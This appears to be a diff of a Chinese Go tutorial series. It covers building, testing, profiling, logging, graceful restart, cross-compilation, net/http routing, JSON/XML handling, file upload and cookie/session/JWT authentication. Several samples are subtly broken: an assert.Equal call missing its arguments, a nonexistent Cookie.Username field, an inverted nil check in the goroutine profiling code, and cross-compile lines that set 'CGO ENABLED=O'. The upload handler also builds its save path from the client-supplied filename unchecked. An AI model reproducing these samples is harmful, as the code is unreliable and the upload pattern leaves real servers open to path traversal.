#### 1.6 go build
`go build`用于编译代码在编译过程中会同时编译与之相关联的包
- 如果是main包执行`go build`之后会在当前目录下生成一个可执行文件如果你需要在$GOPATH/bin下生成相应的文件需要执行`go install`或者使用`go build -o 路径/a.exe`
- 如果是普通包执行go build之后它不会产生任何文件
- 该命令默认会编译当前目录下的所有go文件如果只想编译某个文件可使用`go build exp.go`
- `go build`会忽略目录下以`_``.`开头的go文件
如果go build报错
```
/usr/lib/go-1.10/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-008006128/000026.o: In function _cgo_05dc84caff82_Cfunc_sysconf': /tmp/go-build/cgo-gcc-prolog:32: multiple definition of_cgo_05dc84caff82_Cfunc_sysconf
/tmp/go-link-008006128/000024.o:/tmp/go-build/cgo-gcc-prolog:32: first defined here
collect2: error: ld returned 1 exit status
```
则解决方案是
```
linux: export CGO_ENABLED=0
windows : cmd: set CGO_ENABLED=0
windows powershell:$env:CGO_ENABLED=0
```

View File

@ -0,0 +1,82 @@
## 单元测试
#### 1.1 单元测试简介
单元测试用来检测某个模块某个函数的执行结果是否正确也因此能够实现监控代码质量
Go语言中自带有一个轻量级的测试框架 testing同时也自带了 `go test` 命令可以通过这些工具来实现单元测试和性能测试
#### 1.2 testing的使用
go自带的testing单元测试框架使用要求
- 测试代码必须放在以`_test.go`结尾的文件中
- 测试函数以`Test`为名称前缀
- 命令`go test`会忽略以 `_``.`开头的测试文件
- 命令`go build/install`等正常编译操作会忽略测试文件
#### 1.3 案例
文件目录
![](../images/go/09-01.png)
源码文件`/hello/hello.go`
```go
package hello
import "fmt"
func Hello() string{
return "world"
}
```
单元测试文件`/test/hello_test.go`
```go
package test
import (
"TestGo/hello"
"testing"
)
func Test_hello(t *testing.T){
r := hello.Hello()
if r != "world" {
t.FailNow()
}
}
```
运行测试文件没有main方法也可以执行
```
go test -v test/hello_test.go # -v用于显示详细测试流程
go test -v -run Test_hello test/hello_test.go # 只执行Test_hello
```
#### 1.4 测试中一些函数的区别
- Fail,Error若测试失败则测试会继续执行
- FailNow,Fatal若测试失败则测试会终止
## 代码覆盖率
代码覆盖率命令
```
go test -v -cover
```
## 断言库
使用一些第三方的断言库也可以达到原生的单元测试效果
```go
import "github.com/stretchr/testify/assert"
func Test_hello(t *testing.T){
r := hello.Hello()
assert.Equal("world")
}
```
## BDD测试框架
常用的BDD测试框架是https://github.com/smartystreets/goconvey

View File

@ -0,0 +1,114 @@
## 基准测试
> 基准测试用于测试一段程序的运行性能及CPU消耗
性能测试函数以 Benchmark 为名称前缀同样保存在 `*_test.go` 文件里
示例
```go
func Benchmark_Hello(b *testing.B){
// 开始测试性能相关代码
b.ResetTimer()
for i := 0; i < b.N; i++ {
// 测试代码
}
// 结束性能测试
b.StopTimer()
}
```
测试
```
go test -v -bench=Hello # -bench=.表示运行所有基准测试win下参数为-bench="-"
```
常用参数
```
-benchmem # 显示性能具体的开销情况
-benchtime=5s # 自定义测试时间为5秒
```
## 性能监控
利用go的 `runtime/pprof` 包可以生成prof文件用来查看go代码的运行情况示例代码
```go
package main
import (
"fmt"
"os"
"runtime/pprof"
)
func slowFunc(){
str := "hello world "
for i := 0; i < 5; i++ {
str += str
}
}
func main() {
// 创建输出文件
f, err := os.Create("cpu.prof")
if err != nil {
fmt.Println("create cpu.prof err :", err)
return
}
// 获取系统信息
if err := pprof.StartCPUProfile(f); err != nil {
fmt.Println("start cpu.prof err :", err)
return
}
defer pprof.StopCPUProfile()
// 业务代码
slowFunc()
// 获取内存相关信息
f1, err := os.Create("mem.prof")
defer f1.Close()
if err != nil {
fmt.Println("create mem.prof err :", err)
return
}
// runtime.GC() // 是否获取最新的数据信息
if err := pprof.WriteHeapProfile(f1); err != nil {
fmt.Println("write cpu.prof err :", err)
return
}
// 获取协程相关信息
f2, err := os.Create("goroutine.prof")
defer f2.Close()
if err != nil {
fmt.Println("create goroutine.prof err :", err)
return
}
if gProf := pprof.Lookup("goroutine"); gProf != nil {
fmt.Println("write goroutine.prof err :", err)
return
} else {
gProf.WriteTo(f2, 0)
}
return
}
```
生成prof文件
```
# 生成程序的二进制文件
go build -o program main.go // 此时会按照代码中的要求生成多份prof文件
# 查看prof文件
go tool pprof program cpu.prof
```
贴士
- 导入 `"_ "net/http/pprof"`包还可以实现以网页形式展示prof文件内容
- 程序执行前加上环境变量可以查看GC日志`GODEBUG=gctrace=1 go run main.go`

View File

@ -0,0 +1,79 @@
## Go的日志管理工具
Go语言提供了一个简易的log包可以方便的实现日志记录的功能但是这些日志都是基于fmt包的打印再结合panic之类的函数来进行一般的打印抛出错误处理
Go目前标准包只是包含了简单的功能如果我们想把我们的应用日志保存到文件然后又能够结合日志实现很多复杂的功能例如Java的log4jNode的log4js推荐[logrus](https://github.com/sirupsen/logrus)。
## logrus的使用
#### 2.1 简单使用
安装logrus
```Go
go get -u github.com/sirupsen/logrus
```
简单例子:
```Go
package main
import (
log "github.com/sirupsen/logrus"
)
func main() {
log.WithFields(log.Fields{
"animal": "walrus",
}).Info("Info信息*****")
}
```
#### 2.2 自定义日志处理
```Go
package main
import (
"os"
log "github.com/sirupsen/logrus"
)
func init() {
// 日志格式化为JSON而不是默认的ASCII
log.SetFormatter(&log.JSONFormatter{})
// 输出stdout而不是默认的stderr也可以是一个文件
log.SetOutput(os.Stdout)
// 只记录严重或以上警告
log.SetLevel(log.InfoLevel)
}
func main() {
log.WithFields(log.Fields{
"params1": "walrus",
"params2": 10,
}).Info("info信息.....")
log.WithFields(log.Fields{
"params3": true,
"params4": 122,
}).Warn("warn信息.....")
log.WithFields(log.Fields{
"params5": true,
"params6": 100,
}).Fatal("fatal信息....")
}
```
## 使用应用日志
对于应用日志每个人的应用场景可能会各不相同有些人利用应用日志来做数据分析有些人利用应用日志来做性能分析有些人来做用户行为分析还有些就是纯粹的记录以方便应用出现问题的时候辅助查找问题
举一个例子我们需要跟踪用户尝试登陆系统的操作这里会把成功与不成功的尝试都记录下来记录成功的使用"Info"日志级别而不成功的使用"warn"级别如果想查找所有不成功的登陆我们可以利用linux的grep之类的命令工具如下
```Go
# cat /data/logs/roll.log | grep "failed login"
2012-12-11 11:12:00 WARN : failed login attempt from 11.22.33.44 username password
```
通过这种方式我们就可以很方便的查找相应的信息这样有利于我们针对应用日志做一些统计和分析另外我们还需要考虑日志的大小对于一个高流量的Web应用来说日志的增长是相当可怕的所以我们在seelog的配置文件里面设置了logrotate这样就能保证日志文件不会因为不断变大而导致我们的磁盘空间不够引起问题

View File

@ -0,0 +1,98 @@
## 平滑升级
服务器在升级时正在处理的请求需要等待其完成再退出Go1.8之后支持该设计
实现步骤原理
- 1 fork一个子进程继承父进程的监听socket
- 2 子进程启动后接收新的连接父进程处理原有请求并且不再接收新请求
当系统重启或者升级时正在处理的请求以及新来的请求该如何处理
正在处理的请求如何处理
等待处理完成之后再推出Go1.8之后已经支持比如每来一个请求计数+1处理完一个请求计数-1当计数为0时则执行系统升级
新进来的请求如何处理
- Fork一个子进程继承父进程的监听socketos.Cmd对象中的ExtraFiles参数进行传递并继承文件句柄
- 子进程启动成功后接收新的连接
- 父进程停止接收新的连接等已有的请求处理完毕退出优雅重启成功
```go
package main
import (
"flag"
"fmt"
"os"
"os/exec"
"time"
)
var (
child *bool
)
func startChild(file *os.File) {
args := []string{"-child"}
cmd := exec.Command(os.Args[0], args...)
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
cmd.ExtraFiles = []*os.File{file}
err := cmd.Start()
if err != nil {
fmt.Printf("start child failed, err:%v\n", err)
return
}
}
func init() {
//命令行有child选项则是子进程没有则是父进程
child = flag.Bool("child", false, "继承于父进程")
flag.Parse()
}
func readFromParent() {
// fd=0 标准输出,=1标准输入=2标准错误输出=3 ExtraFiles[0] =4 EAxtraFiles[1]
f := os.NewFile(3, "")
count := 0
for {
str := fmt.Sprintf("hello, i'child process, write:%d line \n", count)
count++
_, err := f.WriteString(str)
if err != nil {
fmt.Printf("wrote string failed, err:%v\n", err)
time.Sleep(time.Second)
continue
}
time.Sleep(time.Second)
}
}
func main() {
if child != nil && *child == true {
fmt.Printf("继承于父进程的文件句柄\n")
readFromParent()
return
}
//父进程逻辑
file, err := os.OpenFile("./test_inherit.log", os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0755)
if err != nil {
fmt.Printf("open file failed, err:%v\n", err)
return
}
_, err = file.WriteString("parent write one line \n")
if err != nil {
fmt.Printf("parent write failed, err:%v\n", err)
}
startChild(file)
fmt.Printf("parent exited")
}
```

View File

@ -0,0 +1,26 @@
## 交叉编译
交叉编译是在一个平台上生成另一个平台上的可执行代码
### 1.1 Go1.5及之后的交叉编译
Go1.5编译工具链也是使用Go语言书写Go编译器内置交叉编译功能只需要时和之GOOS和GOARCH即可进行交叉编译
```
# 进入源码目录
# 编译为Linux目标文件如果要编译为win则GOOS=windows
GO ENABLED=O GOOS=linux GOARCH=amd64 go build xxx.go
```
### 1.2 Go1.4及之前的交叉编译
Go1.4之前由于编译器是C语言书写交叉编译前需要在当前平台构建一个目标平台的编译环境然后通过设置GOOS和GOARCH进行交叉编译
```
# 进入源码目录
# 在Linux下构建Win的交叉编译环境
CGO ENABLED=O GOOS=windows GOARCH=amd64 . /make . bash
# 交叉编译
CGO ENABLED= O GOOS=windows GOARCH=amd64 go build xxx.go
```

View File

@ -0,0 +1,4 @@
## 协议
##

View File

@ -0,0 +1,139 @@
## Hello World
```go
package main
import(
"fmt"
"net/http"
)
func helloworld(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "hello world!")
}
func main() {
http.HandleFunc("/hello", helloworld)
server := http.Server{
Addr: ":8080",
}
server.ListenAndServe()
}
```
访问`localhost:8080/hello`页面输出`hello world!`
## 常见功能
#### 2.1 静态文件管理
在helloworld项目的目录中创建文件夹`public`用于存放html静态文件
```go
files := http.FileServer(http.Dir("./public"))
http.Handle("/static/", http.StripPrefix("/static/", files))
```
注意
- 直接使用编辑器运行会造成路径不正确应该先使用 `go build` 运行二进制文件推荐使用绝对路径`os.Executable()`获取绝对路径
- 访问类似`http://localhost:8080/static/hello.html`网址服务端会替换掉static为`public`路径
#### 2.2 参数获取
在helloword案例的整理目录结构如下
![](../images/go/03-01.png)
```go
package main
import(
"fmt"
"net/http"
)
func helloworld(w http.ResponseWriter, r *http.Request) {
// 默认不会解析,需要先解析表单
err := r.ParseForm()
if err != nil {
fmt.Println("参数解析出错:", err)
return
}
fmt.Println("path", r.URL.Path) // 输出 /
fmt.Println(r.Form) // 输出 map[id:[4] name:[张三]]
fmt.Fprintf(w, "helloworld")
}
func main() {
http.HandleFunc("/hello", helloworld)
files := http.FileServer(http.Dir("./public"))
http.Handle("/static/", http.StripPrefix("/static/", files))
server := http.Server{
Addr: ":8080",
}
server.ListenAndServe()
}
```
GET和POST方式访问时参数解析都会得到支持
- GET方式访问访问地址为 `localhost:8080/?id=4&name=张三`
- POST方式访问在hello.html文件中加入如下ajax访问方式
```js
<script src="../lib/jquery1.11.3.js"></script>
<script>
$.ajax({
type: "POST",
url: "/hello",
data: {
"id": 4,
"name": "张三",
},
success: function (data) {
console.log("data=",data);
},
error: function(err){
console.log("err=",err);
}
})
</script>
```
#### 2.3 模板引擎
笔者是坚定的前后端分离主义者这里只是介绍go默认模板引擎的基本使用
在Go语言中使用`template`包来进行模板处理使用类似`Parse``ParseFile``Execute`等方法从文件或者字符串加载模板
在上述helloworld案例的main函数中添加一个处理函数
```go
http.HandleFunc("/testTemplate", testTemplate)
```
处理函数为
```go
// 解析模板文件
t, _ := template.ParseFiles("./views/test.html")
// 声明一个字符串切片
stars := []string{"马蓉", "李小璐", "白百何"}
// 执行模板
t.Execute(w, stars)
```
创建一个模板文件`views/test.html`
```html
<body>
<!-- 嵌入动作 -->
{{range .}}
<a href="#">{{.}}</a>
{{else}}
没有遍历到任何内容
{{end}}
</body>
```

View File

@ -0,0 +1,143 @@
## Handler
在golang的web开发中一个handler响应一个http请求
```go
type Handler interface{
ServerHTTP(ResponseWriter, *Request)
}
```
Handler可以有多种实现方式
```go
// 实现一HandlerFunc。
// HandlerFunc是对是用户定义的处理函数的包装实现了ServeHTTP方法在方法内执行HandlerFunc对象
type HandlerFunc func(ResponseWriter, *Request)
func (f HandlerFunc) ServeHTTP(w ResponseWriter, r *Request) {
f(w, r)
}
// 实现二ServeMux
// ServeMux是管理http请求pattern和handler的实现了ServeHTTP方法在其内根据请求匹配HandlerFunc并执行其ServeHTTP方法
type ServeMux struct {
mu sync.RWMutex
m map[string]muxEntry
es []muxEntry // slice of entries sorted from longest to shortest.
hosts bool // whether any patterns contain hostnames
}
func (mux *ServeMux) ServeHTTP(w ResponseWriter, r *Request) {
h, _ := mux.Handler(r)
h.ServeHTTP(w, r) // 调用的是HandlerFunc的ServeHTTP
}
// 实现三serverHandler
// serverHandler是对Server的封装实现了ServeHTTP方法并在其内执行ServeMux的ServeHTTP方法
type serverHandler struct {
srv *Server
}
func (sh serverHandler) ServeHTTP(rw ResponseWriter, req *Request) {
handler := sh.srv.Handler
if handler == nil {
handler = DefaultServeMux
}
...
handler.ServeHTTP(rw, req) // 调用的是ServerMux的ServeHTTP
}
```
## ServeMux
ServeMux是一个HTTP请求多路复用器它根据已注册模式pattern列表匹配每个传入请求的URL并调用与URL最匹配的模式的处理程序handler
按照第一章的方式构建三个服务接口
```go
http.HandleFunc("/", mainHandler)
http.HandleFunc("/hello/", helloHandler)
http.HandleFunc("/world/", worldHandler)
server := http.Server{
Addr: ":8080",
}
server.ListenAndServe()
```
此时访问
- localhost:8080/hello会响应helloHandler函数
- localhost:8080/hello/同样会响应helloHandler函数
实际上访问`localhost:8080/hello`其实会以301重定向方式自动补齐为`/hello/`然后浏览器自动发起第二次请求
如果使用ServeMux注册路由
```go
mux := http.NewServeMux()
mux.HandleFunc("/", mainHandler)
mux.HandleFunc("/hello", helloHandler)
mux.HandleFunc("/world", worldHandler)
server := http.Server{
Addr: ":8080",
Handler: mux,
}
server.ListenAndServe()
```
此时访问
- localhost:8080/hello会响应helloHandler函数
- localhost:8080/hello/会响应mainHandler函数
在使用ServeMux时
- 如果pattern以"/"开头表示匹配URL的路径部分
- 如果pattern不以"/"开头表示从host开始匹配
- 匹配时长匹配优先于短匹配注册在"/"上的pattern会被所有请求匹配但其匹配长度最短
- 如果pattern带上了尾随斜线"/"ServeMux将会对请求不带尾随斜线的URL进行301重定向例如"/images/"模式上注册了一个handler当请求的URL路径为"/images"将自动重定向为"/images/"除非再单独为"/images"模式注册一个handler
- 如果为"/images"注册了handler当请求URL路径为"/images/"将无法匹配到
示例
```
/test/ 注册 handler1
/test/thumb/ 注册 handler2
如果请求的url是/test/thumb/则调用handler2
如果请求的url是/test/list/则调用handler1
```
注意其实当代码中不显式的创建serveMux对象http包就默认创建一个DefaultServeMux对象用来做路由管理器mutilplexer
## 中间件
很多场景中路由的处理函数在执行前要先进行一些校验比如安全检查错误处理等等这些行为需要在路由处理函数执行前有限执行
```go
package main
import(
"fmt"
"net/http"
)
func before(handle http.HandlerFunc) http.HandlerFunc {
return func(w http.ResponseWriter, r * http.Request) {
fmt.Println("执行前置处理")
handle(w, r)
}
}
func test(w http.ResponseWriter, r *http.Request) {
fmt.Fprintf(w, "test1")
}
func main() {
http.HandleFunc("/", before(test))
server := http.Server{
Addr: "127.0.0.1:8080",
}
server.ListenAndServe()
}
```

View File

@ -0,0 +1,229 @@
## 数据交互的格式
常见的数据交互格式有
- JSONJavaScript Object Notation轻量级的数据交换格式`{"name":"lisi","address": ["北京","上海"]}`
- XML工业开发中常用的数据交互标准格式
## JSON方式
#### 2.1 JSON序列化
JSON序列化与反序列化需要使用`encoding/json`如下案例所示
```go
type Person struct {
Name string
Age int
}
p := Person {
Name: "lisi",
Age: 50,
}
data, _ := json.Marshal(&p)
fmt.Printf(string(data)); //{"Name":"lisi","Age":50}
```
同理我们也可以使用上述方法对基本数据类型切片map等数据进行序列化
在结构体序列化时如果希望序列化后的`key`的名字可以自定义可以给该结构体指定一个`tag`标签
```go
type Person struct {
Name string `json:"my_name"`
Age int `json:"my_age"`
}
//序列化的结果:{"my_name":"lisi","my_age":50}
```
在定义`struct tag`的时候需要注意的几点是:
- 字段的tag是`"-"`那么这个字段不会输出到JSON
- tag中如果带有`"omitempty"`选项那么如果该字段值为空就不会输出到JSON串中
- 如果字段类型是bool, string, int, int64等而tag中带有`",string"`选项那么这个字段在输出到JSON的时候会把该字段对应的值转换成JSON字符串
- JSON对象只支持string作为key所以要编码一个map那么必须是map[string]T这种类型(T是Go语言中任意的类型)
- Channel, complex和function是不能被编码成JSON的
- 嵌套的数据是不能编码的不然会让JSON编码进入死循环
- 指针在编码的时候会输出指针指向的内容而空指针会输出null
#### 2.2 JSON反序列化
```go
str := `{"Name":"lisi","Age":50}`
// 反序列化json为结构体
type Person struct {
Name string
Age int
}
var p Person
json.Unmarshal([]byte(str), &p)
fmt.Println(p) //{lisi 50}
```
#### 2.3 解析到interface
2.1和2.2的案例中我们知道json的数据结构可以直接进行序列化操作如果不知道JSON具体的结构就需要解析到interface因为interface{}可以用来存储任意数据类型的对象
JSON包中采用`map[string]interface{}``[]interface{}`结构来存储任意的JSON对象和数组Go类型和JSON类型的对应关系如下
- bool 代表 JSON booleans,
- float64 代表 JSON numbers,
- string 代表 JSON strings,
- nil 代表 JSON null
现在我们假设有如下的JSON数据
```go
jsonStr := `{"Name":"Lisi","Age":6,"Parents":["Lisan","WW"]}`
jsonBytes := []byte(jsonStr)
var i interface{}
json.Unmarshal(jsonBytes, &i)
fmt.Println(i) // map[Age:6 Name:Lisi Parents:[Lisan WW]]
```
上述变量`i`存储了存储了一个map类型key是strig值存储在空接口内
如果在我们不知道他的结构的情况下我们把他解析到interface{}里面其真实结构如下
```Go
i = map[string]interface{}{
"Name": "Lisi",
"Age": 6,
"Parents": []interface{}{
"Lisan",
"WW",
},
}
```
由于是空接口类型无法直接访问需要使用断言方式
```go
m := i.(map[string]interface{})
for k, v := range m {
switch r := v.(type) {
case string:
fmt.Println(k, " is string ", r)
case int:
fmt.Println(k, " is int ", r)
case []interface{}:
fmt.Println(k, " is array ", )
for i, u := range r {
fmt.Println(i, u)
}
default:
fmt.Println(k, " cannot be recognized")
}
}
```
上面是官方提供的解决方案操作起来不是很方便推荐使用第三方包有
- https://github.com/bitly/go-simplejson
- https://github.com/thedevsaddam/gojsonq
## XML方式
#### 3.1 解析XML
现在有如下`books.xml`示例
```xml
<?xml version="1.0" encoding="utf-8"?>
<books version="1">
<book>
<bookName>离散数学</bookName>
<bookPrice>120</bookPrice>
</book>
<book>
<bookName>人月神话</bookName>
<bookPrice>75</bookPrice>
</book>
</books>
```
通过xml包的`Unmarshal`函数来解析
```go
package main
import (
"encoding/xml"
"fmt"
"io/ioutil"
"os"
)
type BookStore struct {
XMLName xml.Name `xml:"books"`
Version string `xml:"version,attr"`
Store []book `xml:"book"`
Description string `xml:",innerxml"`
}
type book struct {
XMLName xml.Name `xml:"book"`
BookName string `xml:"bookName"`
BookPrice string `xml:"bookPrice"`
}
func main() {
file, err := os.Open("books.xml")
if err != nil {
fmt.Printf("error: %v", err)
return
}
defer file.Close()
data, err := ioutil.ReadAll(file)
if err != nil {
fmt.Printf("error: %v", err)
return
}
v := BookStore{}
err = xml.Unmarshal(data, &v)
if err != nil {
fmt.Printf("error: %v", err)
return
}
fmt.Println(v)
}
```
#### 3.2 生成XML
xml包中的`Marshal``MarshalIndent`两个函数可以用来生成xml这两个函数主要的区别是第二个函数会增加前缀和缩进函数的定义如下所示
```Go
package main
import (
"encoding/xml"
"fmt"
"os"
)
type BookStore struct {
XMLName xml.Name `xml:"books"`
Version string `xml:"version,attr"`
Store []book `xml:"book"`
}
type book struct {
BookName string `xml:"bookName"`
BookPrice string `xml:"bookPrice"`
}
func main() {
bs := &BookStore{Version: "1"}
bs.Store = append(bs.Store, book{"离散数学", "120"})
bs.Store = append(bs.Store, book{"人月神话", "75"})
output, err := xml.MarshalIndent(bs, " ", " ")
if err != nil {
fmt.Printf("error: %v\n", err)
}
// 生成正确xml头
os.Stdout.Write([]byte(xml.Header))
os.Stdout.Write(output)
}

View File

@ -0,0 +1,168 @@
## 字段校验
通过内置函数`len()`可以获取字符串的长度以此可以校验参数的合法性
```Go
if len(r.Form["username"][0])==0{
//为空的处理
}
```
`r.Form`对不同类型的表单元素的留空有不同的处理
- 空文本框空文本区域以及文件上传元素的值为空值
- 未选中的复选框和单选按钮则不会在r.Form中产生相应条目如果我们用上面例子中的方式去获取数据时程序就会报错所以我们需要通过`r.Form.Get()`来获取值因为如果字段不存在通过该方式获取的是空值但是通过`r.Form.Get()`只能获取单个的值
## 文件上传
#### 2.1 前后端模拟上传
前端代码
```html
<html>
<head>
<title>上传文件</title>
</head>
<body>
<form enctype="multipart/form-data" action="/upload" method="post">
<input type="file" name="uploadfile" />
<input type="submit" value="upload" />
</form>
</body>
</html>
```
form的`enctype`属性有如下三种情况:
```
application/x-www-form-urlencoded # 表示在发送前编码所有字符默认
multipart/form-data # 文件上传使用不会不对字符编码
text/plain # 空格转换为 "+" 加号但不对特殊字符编码
```
golang的后端处理代码
```go
// 上传文件处理路由http.HandleFunc("/upload", upload)
func upload(w http.ResponseWriter, r *http.Request) {
// 设置上传文件能使用的内存大小,超过了,则存储在系统临时文件中
r.ParseMultipartForm(32 << 20)
// 获取上传文件句柄
file, handler, err := r.FormFile("uploadfile")
if err != nil {
fmt.Println(err)
return
}
defer file.Close()
fmt.Fprintf(w, "%v", handler.Header)
f, err := os.OpenFile("./upload/" + handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Println(err)
return
}
defer f.Close()
io.Copy(f, file)
}
```
#### 2.2 go客户端模拟上传
Go支持模拟客户端表单功能支持文件上传
```go
package main
import (
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)
func postFile(filename string, targetUrl string) error {
bodyBuf := &bytes.Buffer{}
bodyWriter := multipart.NewWriter(bodyBuf)
//关键的一步操作
fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
if err != nil {
fmt.Println("error writing to buffer")
return err
}
//打开文件句柄操作
fh, err := os.Open(filename)
if err != nil {
fmt.Println("error opening file")
return err
}
defer fh.Close()
//iocopy
_, err = io.Copy(fileWriter, fh)
if err != nil {
return err
}
contentType := bodyWriter.FormDataContentType()
bodyWriter.Close()
resp, err := http.Post(targetUrl, contentType, bodyBuf)
if err != nil {
return err
}
defer resp.Body.Close()
resp_body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return err
}
fmt.Println(resp.Status)
fmt.Println(string(resp_body))
return nil
}
// sample usage
func main() {
target_url := "http://localhost:8080/upload"
filename := "./test.pdf"
postFile(filename, target_url)
}
```
## 防止重复提交
防止表单重复提交的方案有很多其中之一是在表单中添加一个带有唯一值的隐藏字段
- 1.在服务器端生成一个唯一的随机标识号专业术语称为Token(令牌)同时在当前用户的Session域中保存这个Token
- 2.将Token发送到客户端的Form表单中在Form表单中使用隐藏域来存储这个Token
- 3.表单提交的时候连同这个Token一起提交到服务器端然后在服务器端判断客户端提交上来的Token与服务器端生成的Token是否一致如果不一致那就是重复提交了此时服务器端就可以不处理重复提交的表单如果相同则处理表单提交处理完后清除当前用户的Session域中存储的标识号
在下列情况下服务器程序将拒绝处理用户提交的表单请求
- 存储Session域中的Token(令牌)与表单提交的Token(令牌)不同
- 当前用户的Session中不存在Token(令牌)
- 用户提交的表单数据中没有Token(令牌)
```html
用户名:<input type="text" name="username">
密码:<input type="password" name="password">
<input type="hidden" name="token" value="{{.}}">
<input type="submit" value="登陆">
```
在模版里面增加了一个隐藏字段`token`该值通过MD5(时间戳)来确定唯一值然后我们把这个值存储到服务器端以方便表单提交时比对判定
```go
func login(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
token := r.Form.Get("token")
if token != "" {
//验证token的合法性
} else {
//不存在token报错
}
// 执行具体登录业务
}
```

217
04-Web编程/05-鉴权.md Normal file
View File

@ -0,0 +1,217 @@
## 什么是鉴权
在网站中有些页面是登录后的用户才能访问的由于http是无状态的协议我们无法确认用户的状态如是否登录这时候浏览器在访问这些页面时需要额外传输一些用户的账户信息给后台让后台知道该用户是否登录是哪个用户在访问
## cookie
cookie是浏览器实现的技术在浏览器中可以存储用户是否登录的凭证每次请求都会将该凭证发送给服务器
cookie实现鉴权步骤
- 用户登录成功后后端向浏览器设置一个cookieusername=lisi
- 每次请求浏览器会自动把该cookie发送给服务端
- 服务端处理请求时从cookie中取出username就知道是哪个用户了
- 如果没过期则鉴权通过过期了则重定向到登录页
Go中使用Cookie
```go
// 登录时设置cookie
expiration := time.Now()
expiration = expiration.AddDate(1, 0, 0)
cookie := http.Cookie{Name: "username", Value: "张三", Expires: expiration}
http.SetCookie(w, &cookie)
// 再次访问时获取浏览器传递的cookie
// 获取cookie方式一
username, _ := r.Cookie("username")
// 获取cookie方式二
for _, cookie := range r.Cookies() {
fmt.Println(cookie.Username)
}
```
但是这样做风险很大黑客很容易知道cookie中传递的内容即用户的真实账户信息
## session
#### 2.1 session原理
为了解决cookie的安全问题基于cookie衍生了session技术session技术将用户的信息存储在了服务端保证了安全其实现步骤为
- 服务端设置cookie时不再存储username而是存储一个随机生成的字符串比如32位的uuid服务端额外存储一个uuid与用户名的映射
- 用户再次请求时会自动把cookie中的uuid带入给服务器
- 服务器使用uuid进行鉴权
一般上述的uuid在cookie中存储的键都是sidsession_id也就是常说的session方案服务端此时需要额外开辟空间存储sid与用户真实信息的对应映射
#### 2.2 session实现
如果要手动实现session需要注意以下方面
- 全局session管理器
- 保证sessionid 的全局唯一性
- 为每个客户关联一个session
- session 过期处理
- session 的存储(可以存储到内存文件数据库等)
关于session数据sid与真实用户的映射的存储可以存放在服务端的一个文件中比如该session第三方库https://github.com/gorilla/sessions
使用示例
```go
package main
import(
"fmt"
"net/http"
"github.com/gorilla/sessions"
)
// 利用cookie方式创建session秘钥为 mykey
var store = sessions.NewCookieStore([]byte("mykey"))
func setSession(w http.ResponseWriter, r *http.Request){
session, _ := store.Get(r, "sid")
session.Values["username"] = "张三"
session.Save(r, w)
}
func profile(w http.ResponseWriter, r *http.Request){
session, _ := store.Get(r, "sid")
if session.Values["username"] == nil {
fmt.Fprintf(w, `未登录,请前往 localhost:8080/setSession`)
return
}
fmt.Fprintf(w, `已登录,用户是:%s`, session.Values["username"])
return
}
func main() {
// 访问隐私页面
http.HandleFunc("/profile", profile)
// 设置session
http.HandleFunc("/setSession", setSession)
server := http.Server{
Addr: ":8080",
}
server.ListenAndServe()
}
```
在企业级开发中经常使用额外的数据库redis来存储session数据
#### 2.3 禁用cookie时候session方案
以上方式中生成的sid都存储在cookie中如果用户禁用了cookie则每次请求服务端无法收到sid我们需要想别的办法来让浏览器的每次请求都携带上sid常用方式是URL重写在返回给用户的页面里的所有的URL后面追加session标识符这样用户在收到响应之后无论点击响应页面里的哪个链接或提交表单都会自动带上session标识符从而就实现了会话的保持
## JWT
#### 3.1 jwt介绍
session将数据存储在了服务端无端造成了服务端空间浪费可否像cookie那样将用户数据存储在客户端而不被黑客破解到呢
JWT是json web token缩写它将用户信息加密到token里服务器不保存任何用户信息服务器通过使用保存的密钥验证token的正确性只要正确即通过验证
JWT和session有所不同session需要在服务器端生成服务器保存session,只返回给客户端sessionid客户端下次请求时带上sessionid即可因session是储存在服务器中有多台服务器时会出现一些麻烦需要同步多台主机的信息不然会出现在请求A服务器时能获取信息但是请求B服务器身份信息无法通过JWT能很好的解决这个问题服务器端不用保存jwt只需要保存加密用的secret在用户登录时将jwt加密生成并发送给客户端由客户端存储以后客户端的请求带上由服务器解析jwt并验证这样服务器不用浪费空间去存储登录信息也不用浪费时间去做同步
#### 3.2 jwt构成
一个 JWT token包含3部分:
- header: 告诉我们使用的算法和 token 类型
- Payload: 必须使用 sub key 来指定用户 ID, 还可以包括其他信息比如 email, username .
- Signature: 用来保证 JWT 的真实性. 可以使用不同算法
header:
```
// base64编码的字符串`eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9`
// 这里规定了加密算法,hash256
{
"alg": "HS256",
"typ": "JWT"
}
```
payload
```
{
"sub": "1234567890",
"name": "John Doe",
"admin": true
}
// base64编码的字符串`eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9`
```
这里的内容没有强制要求,因为 Payload 就是为了承载内容而存在的,不过想用规范的话也可以参考下面的
```
* iss: jwt签发者
* sub: jwt所面向的用户
* aud: 接收jwt的一方
* exp: jwt的过期时间这个过期时间必须要大于签发时间
* nbf: 定义在什么时间之前该jwt都是不可用的.
* iat: jwt的签发时间
* jti: jwt的唯一身份标识主要用来作为一次性token,从而回避重放攻击
```
signature是用 header + payload + secret组合起来加密的,公式是:
```
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
secret
)
```
这里 secret就是自己定义的一个随机字符串,这一个过程只能发生在 server 会随机生成一个 hash 这样组合起来之后就是一个完整的 jwt :
```
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.4c9540f793ab33b13670169bdf444c1eb1c37047f18e861981e14e34587b1e04
```
#### 3.3 jwt执行流程
![](../images/go/jwt.jpg)
#### 3.4 Go使用jwt
整体操作步骤
- 1.从request获取tokenstring
- 2.将tokenstring转化为未解密的token对象
- 3.将未解密的token对象解密得到解密后的token对象
- 4.从解密后的token对象里取参数
使用第三方包`go get github.com/dgrijalva/jwt-go` 示例
```go
// 生成Token
// SecretKey 是一个 const 常量
